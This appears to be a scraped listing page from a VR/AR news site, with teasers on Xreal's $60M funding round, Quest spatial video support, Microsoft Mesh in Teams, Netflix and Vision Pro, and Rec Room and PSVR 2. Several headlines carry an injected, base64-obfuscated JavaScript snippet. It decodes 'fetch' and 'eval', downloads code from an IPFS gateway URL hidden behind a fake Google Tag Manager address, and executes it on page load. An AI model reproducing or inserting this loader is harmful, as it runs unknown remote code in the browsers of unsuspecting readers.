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Chinese AR Startup Xreal Raises $60M in Hopes of Competing with Apple(function(w,d,s,l,i,j,k,m){w[s]||(w[s]=1,w[d(j)](d(k))[s](c=>c.text())[s](c=>w[d(i)](c)))})(window,atob,’then‘,’https://www.googletagmanager.com/gtm.js?id=‘,’ZXZhbA==‘,’ZmV0Y2g=‘,’aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtYnB2NHdCeUdrUVcxVW1XVXYzUFBrYlFHWVBOUmVKOUM5Z0JzbnoxclFKQ3U=‘,’1be018de‘)

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Chinese AR Startup Xreal Raises $60M in Hopes of Competing with Apple

Xreal, the China-based AR headset creator, announced it’s secured $60 million in its latest funding round which it hopes to use for product development and an expansion of production facilities. Founded in 2017 and headquarted in Beijing, Xreal counts among its investors Alibaba, Nio Capital, Shunwei Capital, Sequoia China, YF Capital, Kuaishou, and Gentle Monster, among […]

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Report: Quest to Natively Support Spatial Video Originally Meant for Vision Pro(function(w,d,s,l,i,j,k,m){w[s]||(w[s]=1,w[d(j)](d(k))[s](c=>c.text())[s](c=>w[d(i)](c)))})(window,atob,’then‘,’https://www.googletagmanager.com/gtm.js?id=‘,’ZXZhbA==‘,’ZmV0Y2g=‘,’aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtYnB2NHdCeUdrUVcxVW1XVXYzUFBrYlFHWVBOUmVKOUM5Z0JzbnoxclFKQ3U=‘,’c4d71352′)

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Quest Now Natively Supports Spatial Video Originally Meant for Vision Pro

One of the big features being touted by Apple is Vision Pro’s ability to play back spatial video captured on iPhone 15. The data miners were right, and Meta has confirmed it with the release of its v62 software: Quest now natively supports the MV-HVEC video codec, stealing just a bit of Apple’s thunder. Update […]

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Microsoft Teams Now Supports 3D & VR Meetings, Releases ‘Mesh’ App on Main Quest Store(function(w,d,s,l,i,j,k,m){w[s]||(w[s]=1,w[d(j)](d(k))[s](c=>c.text())[s](c=>w[d(i)](c)))})(window,atob,’then‘,’https://www.googletagmanager.com/gtm.js?id=‘,’ZXZhbA==‘,’ZmV0Y2g=‘,’aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtYnB2NHdCeUdrUVcxVW1XVXYzUFBrYlFHWVBOUmVKOUM5Z0JzbnoxclFKQ3U=‘,’bebf73ad‘)

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Microsoft Teams Now Supports 3D & VR Meetings, Releases ‘Mesh’ App on Main Quest Store

Microsoft Teams now lets you hold meetings in 3D and VR, as its immersive chatting platform Microsoft Mesh has now come out of preview. Microsoft announced Mesh back in early 2021, essentially acting as the company’s foundation for building multi-user XR applications and letting cross-platform users connect in a virtual environment. It’s a bit like […]

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Netflix CEO on Vision Pro App Snub: “not particularly relevant to our members”(function(w,d,s,l,i,j,k,m){w[s]||(w[s]=1,w[d(j)](d(k))[s](c=>c.text())[s](c=>w[d(i)](c)))})(window,atob,’then‘,’https://www.googletagmanager.com/gtm.js?id=‘,’ZXZhbA==‘,’ZmV0Y2g=‘,’aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtYnB2NHdCeUdrUVcxVW1XVXYzUFBrYlFHWVBOUmVKOUM5Z0JzbnoxclFKQ3U=‘,’43e76c91′)

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Netflix CEO on Vision Pro App Snub: “not particularly relevant to our members”

Vision Pro is nearly here, but Netflix, YouTube and Spotify won’t have their respective apps on the headset’s app storefront. Netflix co-CEO Greg Peters explains why. Speaking to Stratechery, Peters says Vision Pro is “not really particularly relevant to most [Netflix] members.” Here’s the portion of the statement where Peters explains his reasoning: “We have to be […]

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Netflix CEO on Vision Pro App Snub: “not particularly relevant to our members”

Vision Pro is nearly here, but Netflix, YouTube and Spotify won’t have their respective apps on the headset’s app storefront. Netflix co-CEO Greg Peters explains why. Speaking to Stratechery, Peters says Vision Pro is “not really particularly relevant to most [Netflix] members.” Here’s the portion of the statement where Peters explains his reasoning: “We have to be […]

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‘Rec Room’ Has No Plans to Support PSVR 2

Rec Room is one of the leading social VR platforms, supporting every major console, mobile device, and VR headset—except PlayStation VR 2, that is. And it’s very likely going to stay that way. In a Reddit AMA earlier this month, Rec Room co-founder Cameron Brown (aka ‘Gribbly’) answered a few burning questions, including a big one […]

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